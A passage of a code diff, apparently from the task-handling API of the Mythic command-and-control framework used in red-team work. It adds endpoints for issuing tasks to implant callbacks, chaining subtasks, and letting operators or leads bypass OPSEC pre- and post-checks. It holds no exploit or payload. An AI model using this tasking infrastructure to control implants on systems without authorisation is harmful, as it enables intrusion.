(Task.comment.regexp(data["search"])) & (Task.comment != "")
)
.switch(Callback)
@@ -355,18 +352,15 @@ async def get_all_tasks_for_callback(request, cid, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=cid)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, id=callback.operation)
+ callback = await app.db_objects.get(db_model.callback_query, id=cid)
+ operation = await app.db_objects.get(db_model.operation_query, id=callback.operation)
except Exception as e:
return json({"status": "error", "error": "Callback does not exist"})
if operation.name in user["operations"]:
try:
- query = await db_model.task_query()
- cb_task_data = await db_objects.prefetch(
- query.where(Task.callback == callback).order_by(Task.id),
- Command.select(),
+ cb_task_data = await app.db_objects.prefetch(
+ db_model.task_query.where(Task.callback == callback).order_by(Task.id),
+ db_model.command_query
)
return json([c.to_json() for c in cb_task_data])
except Exception as e:
@@ -380,6 +374,49 @@ async def get_all_tasks_for_callback(request, cid, user):
)
+@mythic.route(mythic.config["API_BASE"] + "/tasks/stdoutstderr/", methods=["GET"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def get_stdout_stderr_for_task(request, tid, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ cur_op = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ task = await app.db_objects.get(db_model.task_query, id=tid)
+ if task.callback.operation != cur_op:
+ return json({"status": "error", "error": "not part of the right operation"})
+ except Exception as e:
+ return json({"status": "error", "error": "task does not exist"})
+ return json({"status": "success", "stdout": task.stdout, "stderr": task.stderr})
+
+
+@mythic.route(mythic.config["API_BASE"] + "/tasks/all_params/", methods=["GET"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def get_all_params_for_task(request, tid, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ cur_op = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ task = await app.db_objects.get(db_model.task_query, id=tid)
+ if task.callback.operation != cur_op:
+ return json({"status": "error", "error": "not part of the right operation"})
+ except Exception as e:
+ return json({"status": "error", "error": "task does not exist"})
+ return json({"status": "success", "display_params": task.display_params,
+ "original_params": task.original_params, "params": task.params})
+
+
@mythic.route(mythic.config["API_BASE"] + "/task_report_by_callback")
@inject_user()
@scoped(
@@ -392,30 +429,26 @@ async def get_all_tasks_by_callback_in_current_operation(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "Not part of an operation"})
output = []
- query = await db_model.callback_query()
- callbacks = await db_objects.execute(
- query.where(Callback.operation == operation).order_by(Callback.id)
+ callbacks = await app.db_objects.execute(
+ db_model.callback_query.where(Callback.operation == operation).order_by(Callback.id)
)
for callback in callbacks:
c = (
callback.to_json()
) # hold this callback, task, and response info to push to our output stack
c["tasks"] = []
- query = await db_model.task_query()
- tasks = await db_objects.prefetch(
- query.where(Task.callback == callback).order_by(Task.id), Command.select()
+ tasks = await app.db_objects.prefetch(
+ db_model.task_query.where(Task.callback == callback).order_by(Task.id), Command.select()
)
for t in tasks:
t_data = t.to_json()
t_data["responses"] = []
- query = await db_model.response_query()
- responses = await db_objects.execute(
- query.where(Response.task == t).order_by(Response.id)
+ responses = await app.db_objects.execute(
+ db_model.response_query.where(Response.task == t).order_by(Response.id)
)
for r in responses:
t_data["responses"].append(r.to_json())
@@ -424,37 +457,22 @@ async def get_all_tasks_by_callback_in_current_operation(request, user):
return json({"status": "success", "output": output})
-async def get_agent_tasks(data, callback):
- # { INPUT
- # "action": "get_tasking",
- # "tasking_size": 1, //indicate the maximum number of tasks you want back
- # }
- # { RESPONSE
- # "action": "get_tasking",
- # "tasks": [
- # {
- # "command": "shell",
- # "parameters": "whoami",
- # "task_id": UUID
- # }
- # ]
- # }
- if "tasking_size" not in data:
- data["tasking_size"] = 1
- tasks = []
- socks = []
+async def update_edges_from_checkin(callback_uuid, profile):
try:
+ callback = await app.db_objects.get(db_model.callback_query, agent_callback_id=callback_uuid)
cur_time = datetime.utcnow()
callback.last_checkin = cur_time
+ # track all of the timestamps for when the callback sends a message
+ await app.db_objects.create(db_model.CallbackAccessTime, callback=callback)
if not callback.active:
- c2_query = await db_model.callbackc2profiles_query()
- c2profiles = await db_objects.execute(
- c2_query.where(db_model.CallbackC2Profiles.callback == callback)
+ # if the callback isn't active and it's checking in, make sure to update edge info
+ c2profiles = await app.db_objects.execute(
+ db_model.callbackc2profiles_query.where(db_model.CallbackC2Profiles.callback == callback)
)
for c2 in c2profiles:
- if not c2.c2_profile.is_p2p:
+ if c2.c2_profile.name == profile and not c2.c2_profile.is_p2p:
try:
- edge = await db_objects.get(
+ edge = await app.db_objects.get(
db_model.CallbackGraphEdge,
source=callback,
destination=callback,
@@ -465,7 +483,7 @@ async def get_agent_tasks(data, callback):
)
except Exception as d:
print(d)
- edge = await db_objects.create(
+ edge = await app.db_objects.create(
db_model.CallbackGraphEdge,
source=callback,
destination=callback,
@@ -474,38 +492,52 @@ async def get_agent_tasks(data, callback):
end_timestamp=None,
operation=callback.operation,
)
- from app.api.callback_api import (
- add_non_directed_graphs,
- add_directed_graphs,
- )
-
- await add_non_directed_graphs(edge)
- await add_directed_graphs(edge)
callback.active = True # always set this to true regardless of what it was before because it's clearly active
- await db_objects.update(callback) # update the last checkin time
+ await app.db_objects.update(callback) # update the last checkin time
+ except Exception as e:
+ logger.warning("exception in task_api.py trying to update edges from checkin: " + str(e))
+
+
+async def get_agent_tasks(data, callback):
+ # { INPUT
+ # "action": "get_tasking",
+ # "tasking_size": 1, //indicate the maximum number of tasks you want back
+ # }
+ # { RESPONSE
+ # "action": "get_tasking",
+ # "tasks": [
+ # {
+ # "command": "shell",
+ # "parameters": "whoami",
+ # "task_id": UUID
+ # }
+ # ]
+ # }
+ if "tasking_size" not in data:
+ data["tasking_size"] = 1
+ tasks = []
+ socks = []
+ try:
if not callback.operation.complete:
- query = await db_model.task_query()
if data["tasking_size"] > 0:
- task_list = await db_objects.prefetch(
- query.where(
+ task_list = await app.db_objects.execute(
+ db_model.task_query.where(
(Task.callback == callback) & (Task.status == "submitted")
)
.order_by(Task.timestamp)
.limit(data["tasking_size"]),
- Command.select(),
)
else:
- task_list = await db_objects.prefetch(
- query.where(
+ task_list = await app.db_objects.execute(
+ db_model.task_query.where(
(Task.callback == callback) & (Task.status == "submitted")
).order_by(Task.timestamp),
- Command.select(),
)
for t in task_list:
t.status = "processing"
t.status_timestamp_processing = datetime.utcnow()
t.timestamp = t.status_timestamp_processing
- await db_objects.update(t)
+ await app.db_objects.update(t)
tasks.append(
{
"command": t.command.cmd,
@@ -519,7 +551,7 @@ async def get_agent_tasks(data, callback):
socks = await get_socks_data(callback)
else:
# operation is complete, just return blank for now, potentially an exit command later
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=callback.operation,
level="warning",
@@ -561,8 +593,7 @@ async def add_task_to_callback(request, cid, user):
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot issue tasking"})
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
except Exception as e:
return json(
{
@@ -571,13 +602,14 @@ async def add_task_to_callback(request, cid, user):
}
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get the current operation"})
try:
- query = await db_model.callback_query()
- cb = await db_objects.get(query, id=cid, operation=operation)
+ cb = await app.db_objects.prefetch(db_model.callback_query.where(
+ (db_model.Callback.id == cid) & (db_model.Callback.operation == operation)
+ ), db_model.callbacktoken_query)
+ cb = list(cb)[0]
except Exception as e:
return json({"status": "error", "error": "failed to get callback"})
# get the tasking data
@@ -601,22 +633,19 @@ async def add_task_to_callback(request, cid, user):
}
)
# make sure the tasking we're trying to do isn't blocked for our user
- query = await db_model.operatoroperation_query()
- operatoroperation = await db_objects.get(
- query, operator=operator, operation=operation
+ operatoroperation = await app.db_objects.get(
+ db_model.operatoroperation_query, operator=operator, operation=operation
)
if operatoroperation.base_disabled_commands is not None:
- query = await db_model.command_query()
- if data["command"] not in ["tasks", "clear"]:
- cmd = await db_objects.get(
- query,
+ if data["command"] not in ["clear"]:
+ cmd = await app.db_objects.get(
+ db_model.command_query,
cmd=data["command"],
payload_type=cb.registered_payload.payload_type,
)
try:
- query = await db_model.disabledcommandsprofile_query()
- disabled_command = await db_objects.get(
- query,
+ disabled_command = await app.db_objects.get(
+ db_model.disabledcommandsprofile_query,
name=operatoroperation.base_disabled_commands.name,
command=cmd,
)
@@ -632,6 +661,7 @@ async def add_task_to_callback(request, cid, user):
except Exception as e:
pass
# if we create new files throughout this process, be sure to tag them with the right task at the end
+ data["params"] = data["params"].strip()
data["original_params"] = data["params"]
if request.files:
# this means we got files as part of our task, so handle those first
@@ -647,24 +677,113 @@ async def add_task_to_callback(request, cid, user):
data["params"] = js.dumps(params)
data["original_params"] = js.dumps(original_params_with_names)
return json(
- await add_task_to_callback_func(data, cid, user, operator, operation, cb)
+ await add_task_to_callback_func(data, cid, operator, cb)
)
+@mythic.route(mythic.config["API_BASE"] + "/create_task_webhook", methods=["POST"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def add_task_to_callback_webhook(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ # some commands can optionally upload files or indicate files for use
+ # if they are uploaded here, process them first and substitute the values with corresponding file_id numbers
+ if user["current_operation"] == "":
+ return json(
+ {"status": "error", "error": "Must be part of a current operation first"}
+ )
+ if user["view_mode"] == "spectator":
+ return json({"status": "error", "error": "Spectators cannot issue tasking"})
+ try:
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ except Exception as e:
+ return json(
+ {
+ "status": "error",
+ "error": "failed to get the current user's info from the database",
+ }
+ )
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ except Exception as e:
+ return json({"status": "error", "error": "failed to get the current operation"})
+ try:
+ data = request.json["input"]
+ cb = await app.db_objects.get(db_model.callback_query, id=data["callback_id"], operation=operation)
+ except Exception as e:
+ return json({"status": "error", "error": "failed to get callback"})
+ # check if the callback was locked
+ if cb.locked:
+ if cb.locked_operator != operator and cb.operation.name not in user["admin_operations"] and not user["admin"]:
+ return json(
+ {
+ "status": "error",
+ "error": "Callback is locked by another user - Cannot task",
+ }
+ )
+ # make sure the tasking we're trying to do isn't blocked for our user
+ operatoroperation = await app.db_objects.get(
+ db_model.operatoroperation_query, operator=operator, operation=operation
+ )
+ if operatoroperation.base_disabled_commands is not None:
+ if data["command"] not in ["clear"]:
+ cmd = await app.db_objects.get(
+ db_model.command_query,
+ cmd=data["command"],
+ payload_type=cb.registered_payload.payload_type,
+ )
+ try:
+ disabled_command = await app.db_objects.get(
+ db_model.disabledcommandsprofile_query,
+ name=operatoroperation.base_disabled_commands.name,
+ command=cmd,
+ )
+ return json(
+ {
+ "status": "error",
+ "error": "Not authorized to execute that command",
+ }
+ )
+ except Exception as e:
+ pass
+ # if we create new files throughout this process, be sure to tag them with the right task at the end
+ data["params"] = data["params"].strip()
+ data["original_params"] = data["params"]
+ if "files" in data and data["files"] is not None:
+ data["params"] = js.loads(data["params"])
+ data["files"] = js.loads(data["files"])
+ for f, v in data["files"].items():
+ data["params"][f] = v
+ data["params"] = js.dumps(data["params"])
+ data.pop("files", None)
+ output = await add_task_to_callback_func(data, data["callback_id"], operator, cb)
+ return json({
+ "status": output.pop("status"),
+ "error": output.pop("error", None),
+ "id": output["id"] if "id" in output else None,
+ })
+
+
cached_payload_info = {}
+payload_rpc = MythicBaseRPC()
-async def add_task_to_callback_func(data, cid, user, op, operation, cb):
+async def add_task_to_callback_func(data, cid, op, cb):
+ task = None
try:
# first see if the operator and callback exists
- if user["view_mode"] == "spectator":
- return {"status": "error", "error": "Spectators cannot issue tasking"}
- task = None
+
+
# now check the task and add it if it's valid and valid for this callback's payload type
try:
- query = await db_model.command_query()
- cmd = await db_objects.get(
- query,
+ cmd = await app.db_objects.get(
+ db_model.command_query,
cmd=data["command"],
payload_type=cb.registered_payload.payload_type,
)
@@ -674,17 +793,25 @@ async def add_task_to_callback_func(data, cid, user, op, operation, cb):
# this means we're going to be clearing out some tasks depending on our access levels
if "params" not in data:
data["params"] = ""
- task = await db_objects.create(
+ task = await app.db_objects.create(
Task,
callback=cb,
operator=op,
+ parent_task=data["parent_task"] if "parent_task" in data else None,
+ subtask_callback_function=data["subtask_callback_function"] if "subtask_callback_function" in data else None,
+ group_callback_function=data["group_callback_function"] if "group_callback_function" in data else None,
+ completed_callback_function=data["completed_callback_function"] if "completed_callback_function" in data else None,
+ subtask_group_name=data["subtask_group_name"] if "subtask_group_name" in data else None,
params="clear " + data["params"],
status="processed",
original_params="clear " + data["params"],
completed=True,
+ display_params="clear " + data["params"]
)
+ if "tags" in data:
+ await add_tags_to_task(task, data["tags"])
raw_rsp = await clear_tasks_for_callback_func(
- {"task": data["params"]}, cb.id, user
+ {"task": data["params"]}, cb.id, op
)
if raw_rsp["status"] == "success":
rsp = "Removed the following:"
@@ -699,10 +826,10 @@ async def add_task_to_callback_func(data, cid, user, op, operation, cb):
+ " "
+ t["original_params"]
)
- await db_objects.create(Response, task=task, response=rsp)
+ await app.db_objects.create(Response, task=task, response=rsp)
return {"status": "success", **task.to_json()}
else:
- await db_objects.create(
+ await app.db_objects.create(
Response, task=task, response=raw_rsp["error"]
)
return {
@@ -720,51 +847,62 @@ async def add_task_to_callback_func(data, cid, user, op, operation, cb):
"params": data["params"],
"callback": cid,
}
+ try:
+ if not cmd.script_only:
+ loaded_commands = await app.db_objects.get(db_model.loadedcommands_query, callback=cb, command=cmd)
+ except Exception as e:
+ return {
+ "status": "error",
+ "error": data["command"] + " is not loaded in this callback and is not a scripted command",
+ "cmd": data["command"],
+ "params": data["params"],
+ "callback": cid,
+ }
file_meta = ""
- rabbit_message = {"params": data["params"], "command": data["command"]}
-
# check and update if the corresponding container is running or not
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(
- query, ptype=cb.registered_payload.payload_type.ptype
+ payload_type = await app.db_objects.get(
+ db_model.payloadtype_query, ptype=cb.registered_payload.payload_type.ptype
)
if (
cb.registered_payload.payload_type.last_heartbeat
< datetime.utcnow() + timedelta(seconds=-30)
):
payload_type.container_running = False
- await db_objects.update(payload_type)
+ await app.db_objects.update(payload_type)
result = {
"status": "success"
} # we are successful now unless the rabbitmq service is down
if payload_type.container_running:
- task = await db_objects.create(
+ if "token" in data:
+ try:
+ token = await app.db_objects.get(db_model.token_query, TokenId=data["token"], deleted=False)
+ except Exception as te:
+ logger.warning("task_api.py: failed to find token associated with task")
+ token = None
+ else:
+ token = None
+ task = await app.db_objects.create(
Task,
callback=cb,
operator=op,
command=cmd,
+ token=token,
params=data["original_params"],
original_params=data["original_params"],
+ display_params=data["original_params"],
+ parent_task=data["parent_task"] if "parent_task" in data else None,
+ subtask_callback_function=data[
+ "subtask_callback_function"] if "subtask_callback_function" in data else None,
+ group_callback_function=data["group_callback_function"] if "group_callback_function" in data else None,
+ subtask_group_name=data["subtask_group_name"] if "subtask_group_name" in data else None,
)
- rabbit_message["task"] = task.to_json()
- rabbit_message["task"]["callback"] = task.callback.to_json()
- # get the information for the callback's associated payload
- payload_info = await add_all_payload_info(task.callback.registered_payload)
- rabbit_message["task"]["callback"]["build_parameters"] = payload_info[
- "build_parameters"
- ]
- rabbit_message["task"]["callback"]["c2info"] = payload_info["c2info"]
- # by default tasks are created in a preprocessing state,
- result = await send_pt_rabbitmq_message(
- cb.registered_payload.payload_type.ptype,
- "command_transform.{}".format(task.id),
- base64.b64encode(js.dumps(rabbit_message).encode()).decode("utf-8"),
- user["username"],
- )
+ if "tags" in data:
+ await add_tags_to_task(task, data["tags"])
+ result = await submit_task_to_container(task, op.username, data["params"])
else:
return {
"status": "error",
- "error": "payload's container not running, no heartbeat in over 30 seconds, so it cannot process tasking",
+ "error": f"{payload_type.ptype}'s container isn't running - no heartbeat in over 30 seconds, so it cannot process tasking.\nUse ./mythic-cli status to check if the container is still online.\nUse './display_output.sh {payload_type.ptype}' to get any error logs from the container.\nUse './start_payload_types.sh {payload_type.ptype}' to start the container again.",
"cmd": cmd.cmd,
"params": data["original_params"],
"callback": cid,
@@ -774,14 +912,18 @@ async def add_task_to_callback_func(data, cid, user, op, operation, cb):
"status"
] # we don't want the two status keys to conflict
task_json.pop("status")
- return {**result, **task_json}
+ return {**result, **task_json, "cmd": cmd.cmd, "params": data["original_params"], "callback": cid}
except Exception as e:
- print(
+ logger.warning(
"failed to get something in add_task_to_callback_func "
+ str(sys.exc_info()[-1].tb_lineno)
+ " "
+ str(e)
)
+ if task is not None:
+ task.completed = True
+ task.status = "error in Mythic"
+ await app.db_objects.update(task)
return {
"status": "error",
"error": "Failed to create task: "
@@ -794,6 +936,370 @@ async def add_task_to_callback_func(data, cid, user, op, operation, cb):
}
+async def check_and_issue_task_callback_functions(taskOriginal: Task):
+ # pull updated information for the task in case it didn't propagate for whatever reason
+ task = await app.db_objects.get(db_model.task_query, id=taskOriginal.id)
+ if task.completed:
+ if task.parent_task is not None:
+ # pass execution to parent_task's functions for subtask_callback_function and group_callback_function
+ if task.subtask_callback_function is not None:
+ status = await submit_task_callback_to_container(task.parent_task, task.subtask_callback_function, task.operator.username,
+ task)
+ if status["status"] == "error":
+ task.subtask_callback_function_completed = False
+ logger.warning("error from subtask_callback_function submit_task_callback_to_container: " + status["error"])
+ else:
+ task.subtask_callback_function_completed = True
+ await app.db_objects.update(task)
+ if task.subtask_group_name != "" and task.group_callback_function is not None:
+ # we need to check if all tasks are done that have that same group name
+ group_tasks = await app.db_objects.count(db_model.task_query.where(
+ (db_model.Task.subtask_group_name == task.subtask_group_name) &
+ (db_model.Task.completed == False) &
+ (db_model.Task.parent_task == task.parent_task)
+ ))
+ if group_tasks == 0:
+ # there are no more tasks with this same group name and same parent task, so call the group_callback_function
+ status = await submit_task_callback_to_container(task.parent_task, task.group_callback_function, task.operator.username,
+ task, subtask_group_name=task.subtask_group_name)
+ if status["status"] == "error":
+ task.group_callback_function_completed = False
+ logger.warning("error from grouptasks == 0, submit_task_callback_to_container: " + status["error"])
+ else:
+ task.group_callback_function_completed = True
+ await app.db_objects.update(task)
+ if task.completed_callback_function is not None:
+ # pass execution back to task's function called completed_callback_function
+ status = await submit_task_callback_to_container(task, task.completed_callback_function, task.operator.username)
+ if status["status"] == "error":
+ task.completed_callback_function_completed = False
+ logger.warning("error in completed_callback_function not None submit_task_callback_to_container: " + status["error"])
+ else:
+ task.completed_callback_function_completed = True
+ await app.db_objects.update(task)
+
+
+@mythic.route(
+ mythic.config["API_BASE"] + "/tasks/dynamic_query",
+ methods=["POST"],
+)
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def get_dynamic_query_params(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ return json(await process_dynamic_request(request.json))
+
+
+async def process_dynamic_request(data):
+ if "command" not in data:
+ return {"status": "error", "error": "command is a required field"}
+ if "parameter_name" not in data:
+ return {"status": "error", "error": "parameter_name is a required field"}
+ if "payload_type" not in data:
+ return {"status": "error", "error": "payload_type is a required field"}
+ if "callback" not in data:
+ return {"status": "error", "error": "callback is a required field"}
+ try:
+ callback = await app.db_objects.get(db_model.callback_query, id=data["callback"])
+ return await issue_dynamic_parameter_call(data["command"], data["parameter_name"], data["payload_type"], callback)
+ except Exception as e:
+ return {"status": "error", "error": "Failed to get callback data: " + str(e)}
+
+
+async def issue_dynamic_parameter_call(command: str, parameter_name: str, payload_type: str, callback: Callback):
+ try:
+ rabbitmq_message = callback.to_json()
+ # get the information for the callback's associated payload
+ payload_info = await add_all_payload_info(callback.registered_payload)
+ rabbitmq_message["build_parameters"] = payload_info[
+ "build_parameters"
+ ]
+ rabbitmq_message["c2info"] = payload_info["c2info"]
+ except Exception as e:
+ return {"status": "error", "error": "Failed to get callback and payload information"}, False
+ status, successfully_sent = await payload_rpc.call(message={
+ "action": parameter_name,
+ "command": command,
+ "callback": rabbitmq_message
+ }, receiver="{}_mythic_rpc_queue".format(payload_type))
+ if not successfully_sent:
+ return {"status": "error", "error": "Failed to connect to rabbitmq, is the container running?"}
+ return js.loads(status)
+
+
+@mythic.route(
+ mythic.config["API_BASE"] + "/tasks//request_bypass",
+ methods=["GET"],
+)
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def request_bypass_for_opsec_check(request, tid, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ task = await app.db_objects.prefetch(db_model.task_query.where(db_model.Task.id == tid),
+ db_model.callback_query,
+ db_model.callbacktoken_query)
+ task = list(task)[0]
+ operator = await app.db_objects.get(db_model.operator_query, id=user["id"])
+ if task.callback.operation == operation:
+ return json(await process_bypass_request(operator, task))
+ else:
+ return json({"status": "error", "error": "Task doesn't exist or isn't part of your operation"})
+ except Exception as e:
+ logger.warning("task_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return json({"status": "error", "error": "Failed to find components"})
+
+
+@mythic.route(
+ mythic.config["API_BASE"] + "/request_opsec_bypass_webhook",
+ methods=["POST"],
+)
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def request_bypass_for_opsec_check_webhook(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ data = request.json["input"]
+ task = await app.db_objects.get(db_model.task_query, id=data["task_id"])
+ operator = await app.db_objects.get(db_model.operator_query, id=user["id"])
+ if task.callback.operation == operation:
+ return json(await process_bypass_request(operator, task))
+ else:
+ return json({"status": "error", "error": "Task doesn't exist or isn't part of your operation"})
+ except Exception as e:
+ logger.warning("task_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return json({"status": "error", "error": "Failed to find components"})
+
+
+async def process_bypass_request(user, task):
+ if task.opsec_pre_blocked and not task.opsec_pre_bypassed:
+ if task.opsec_pre_bypass_role == "operator":
+ # we just need an operator to acknowledge the risk, not a lead to approve it necessarily
+ task.opsec_pre_bypass_user = user
+ task.opsec_pre_bypassed = True
+ task.status = "bypassing opsec_pre"
+ await app.db_objects.update(task)
+ status = await submit_task_to_container(task, user.username)
+ if status["status"] == "error":
+ task.opsec_pre_bypass_user = None
+ task.opsec_pre_bypassed = False
+ task.status = "opsec pre blocked (container down)"
+ await app.db_objects.update(task)
+ await app.db_objects.create(db_model.OperationEventLog, level="info", operation=task.callback.operation,
+ message=f"OPSEC PreCheck for task {task.id} failed - container down")
+ else:
+ await app.db_objects.create(db_model.OperationEventLog, level="info", operation=task.callback.operation,
+ message=f"{user.username} bypassed an OPSEC PreCheck for task {task.id}")
+ return status
+ elif task.opsec_pre_bypass_role == "lead":
+ # only the lead of an operation can bypass the check
+ if task.callback.operation.admin == user:
+ task.opsec_pre_bypass_user = user
+ task.opsec_pre_bypassed = True
+ task.status = "bypassing opsec_pre"
+ await app.db_objects.update(task)
+
+ status = await submit_task_to_container(task, user.username)
+ if status["status"] == "error":
+ task.opsec_pre_bypass_user = None
+ task.opsec_pre_bypassed = False
+ task.status = "opsec pre blocked (container down)"
+ await app.db_objects.update(task)
+ await app.db_objects.create(db_model.OperationEventLog, level="info",
+ operation=task.callback.operation,
+ message=f"OPSEC PreCheck for task {task.id} failed - container down")
+ else:
+ await app.db_objects.create(db_model.OperationEventLog, level="info",
+ operation=task.callback.operation,
+ message=f"{user.username} bypassed an OPSEC PreCheck for task {task.id}")
+ return status
+ else:
+ await app.db_objects.create(db_model.OperationEventLog, level="warning", operation=task.callback.operation,
+ message=f"{user.username} failed to bypass an OPSEC PreCheck for task {task.id}")
+ return {"status": "error", "error": "Not Authorized"}
+ elif task.opsec_post_blocked and not task.opsec_post_bypassed:
+ if task.opsec_post_bypass_role == "operator":
+ # we just need an operator to acknowledge the risk, not a lead to approve it necessarily
+ task.opsec_post_bypass_user = user
+ task.opsec_post_bypassed = True
+ task.status = "bypassing opsec post"
+ await app.db_objects.update(task)
+ status = await submit_task_to_container(task, user.username)
+ if status["status"] == "error":
+ task.opsec_post_bypass_user = None
+ task.opsec_post_bypassed = False
+ task.status = "opsec post blocked (container down)"
+ await app.db_objects.update(task)
+ await app.db_objects.create(db_model.OperationEventLog, level="info", operation=task.callback.operation,
+ message=f"OPSEC PostCheck for task {task.id} failed - container down")
+ else:
+ await app.db_objects.create(db_model.OperationEventLog, level="info", operation=task.callback.operation,
+ message=f"{user.username} bypassed an OPSEC PostCheck for task {task.id}")
+ return status
+ elif task.opsec_post_bypass_role == "lead":
+ # only the lead of an operation can bypass the check
+ if task.callback.operation.admin == user:
+ task.opsec_post_bypass_user = user
+ task.opsec_post_bypassed = True
+ task.status = "bypass opsec post"
+ await app.db_objects.update(task)
+ status = await submit_task_to_container(task, user.username)
+ if status["status"] == "error":
+ task.opsec_post_bypass_user = None
+ task.opsec_post_bypassed = False
+ task.status = "opsec post blocked (container down)"
+ await app.db_objects.update(task)
+ await app.db_objects.create(db_model.OperationEventLog, level="info",
+ operation=task.callback.operation,
+ message=f"OPSEC PostCheck for task {task.id} failed - container down")
+ else:
+ await app.db_objects.create(db_model.OperationEventLog, level="info",
+ operation=task.callback.operation,
+ message=f"{user.username} bypassed an OPSEC PostCheck for task {task.id}")
+ return status
+ else:
+ await app.db_objects.create(db_model.OperationEventLog, level="warning", operation=task.callback.operation,
+ message=f"{user.username} failed to bypass an OPSEC PostCheck for task {task.id}")
+ return {"status": "error", "error": "Not Authorized"}
+ else:
+ return {"status": "error", "error": "nothing to bypass"}
+
+
+@mythic.route(
+ mythic.config["API_BASE"] + "/tasks/reissue_task_webhook",
+ methods=["POST"],
+)
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def reissue_task_for_down_container(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ data = request.json["input"]
+ task = await app.db_objects.get(db_model.task_query, id=data["task_id"])
+ if task.status == "error: container down" and task.callback.operation == operation:
+ task.status = "preprocessing"
+ await app.db_objects.update(task)
+ status = await submit_task_to_container(task, user["username"])
+ if status["status"] == "error":
+ task.status = "error: container down"
+ await app.db_objects.update(task)
+ return json(status)
+ else:
+ return json({"status": "error", "error": "bad task status for re-issuing"})
+ except Exception as e:
+ logger.warning("task_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return json({"status": "error", "error": "Failed to find components"})
+
+
+async def submit_task_to_container(task, username, params: str = None):
+ if (
+ task.callback.registered_payload.payload_type.last_heartbeat
+ < datetime.utcnow() + timedelta(seconds=-30)
+ ):
+ task.callback.registered_payload.payload_type.container_running = False
+ await app.db_objects.update(task.callback.registered_payload.payload_type)
+ return {"status": "error", "error": "Payload Type container not running"}
+ if task.callback.registered_payload.payload_type.container_running:
+ rabbit_message = {"params": task.params, "command": task.command.cmd, "task": task.to_json()}
+ rabbit_message["task"]["callback"] = task.callback.to_json()
+ # get the information for the callback's associated payload
+ payload_info = await add_all_payload_info(task.callback.registered_payload)
+ rabbit_message["task"]["callback"]["build_parameters"] = payload_info[
+ "build_parameters"
+ ]
+ rabbit_message["task"]["callback"]["c2info"] = payload_info["c2info"]
+ tags = await app.db_objects.execute(db_model.tasktag_query.where(db_model.TaskTag.task == task))
+ rabbit_message["task"]["tags"] = [t.tag for t in tags]
+ if params is not None:
+ rabbit_message["params"] = params
+ rabbit_message["task"]["token"] = task.token.to_json() if task.token is not None else None
+ # by default tasks are created in a preprocessing state,
+ result = await send_pt_rabbitmq_message(
+ task.callback.registered_payload.payload_type.ptype,
+ "command_transform",
+ js.dumps(rabbit_message),
+ username,
+ task.id
+ )
+ if result["status"] == "error" and "type" in result:
+ task.status = "error: container down"
+ task.callback.registered_payload.payload_type.container_running = False
+ task.callback.registered_payload.payload_type.container_count = 0
+ await app.db_objects.update(task.callback.registered_payload.payload_type)
+ await app.db_objects.update(task)
+ return result
+ else:
+ return {"status": "error", "error": "Container not running"}
+
+
+async def submit_task_callback_to_container(task: Task, function_name: str, username: str,
+ subtask: Task = None, subtask_group_name: str = None):
+ if (
+ task.callback.registered_payload.payload_type.last_heartbeat
+ < datetime.utcnow() + timedelta(seconds=-30)
+ ):
+ task.callback.registered_payload.payload_type.container_running = False
